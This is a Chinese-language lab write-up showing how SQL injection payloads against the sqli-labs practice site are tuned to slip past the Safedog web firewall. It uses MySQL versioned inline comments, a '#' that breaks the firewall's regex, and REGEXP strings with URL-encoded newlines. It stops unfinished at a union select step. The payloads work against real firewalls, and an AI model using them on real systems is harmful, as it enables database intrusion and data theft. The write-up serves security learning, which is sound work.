这里以sqli-labs为例
    image.png

    1. ?id=1 and 1=1

    image.png
    GG,看来狗子成长了,长大了,拦截页面都变得高大上了。之前的版本狗子是可以通过简单的内联注释绕过的,这里再试一下

    1. ?id=1%20/*!11444and*/%201=1
    2. 内联注释详解:
    3. 一开始我以为/*!关键字*/这种形式就叫做内联注释。但是后面帮主告诉我,只有!后加5位数字的形式才叫内联注释,如:/*!11444and*/
    4. 那么这5位数字又是哪里来的呢???这就跟MySQL数据库的版本有关系了,这里利用了MySQL的特性。当!后的5位数小于数据库版本时,就可以返回信息。比如:这里我的MySQL的版本为5.7.26,所以!后的五位数必须要小于57260,所以11444是可以的
    5. 对于要用哪5位数,多数情况下一般采用FUZZ的方法

    image.png
    看来有戏??探测完注入就该order by了

    1. ?id=1 /*!11444order by*/ 5

    image.png
    竟然被拦截了,事情变得有趣起来了

    在内联注释中继续插入注释,看看狗子拦截了哪些字符,放掉了哪些字符

    1. ?id=1 /*!11444order /*@!$%^*&^()*/ by*/ 5

    image.png
    这里可以看到/**/中的字符都被拦截了,狗子真的是一个都没给我留啊….知道我发现,我好想把#拉掉了

    1. ?id=1 /*!11444order /*@!$%^#*&^()*/ by*/ 5

    image.png
    竟然有意外收获???可以看到这里返回了#前面的字符,而#后面的字符自动舍弃了(也可能不是自动舍弃了,而是#破坏了安全狗的检测规则,没有检测#后面的内容)
    那狗子的检测原理跟云锁的原理差不多啊,你们不会是用的是同一个正则吧….

    那么这里可以考虑利用正则破坏正则的方式,如MySQL的REGEXP和LIKE参数都是可以做到的

    1. REGEXP "[...%0a#]" 可能需要把#进行一次URL编码,即REGEXP "[...%0a%23]"
    2. %0a的作用是通过换行破坏云锁的正则,如果%0a被过滤,可以用%0b代替,%0b也是换行
    1. ?id=1 REGEXP "[...%0a%23]" /*!11444order by*/ 5

    image.png
    还是被拦截了,可能是order by这里还没有绕过去,改一下

    1. ?id=1 REGEXP "[...%0a%23]" /*!11444order %0a by*/ 5

    image.png
    终于绕过去了,接下来就是union select了

    1. ?id=-1 REGEXP "[...%0a%23]" /*!11444union %0a select*/ 1,2,3

    image.png
    环境出了点问题,后面没写完,之后补充一下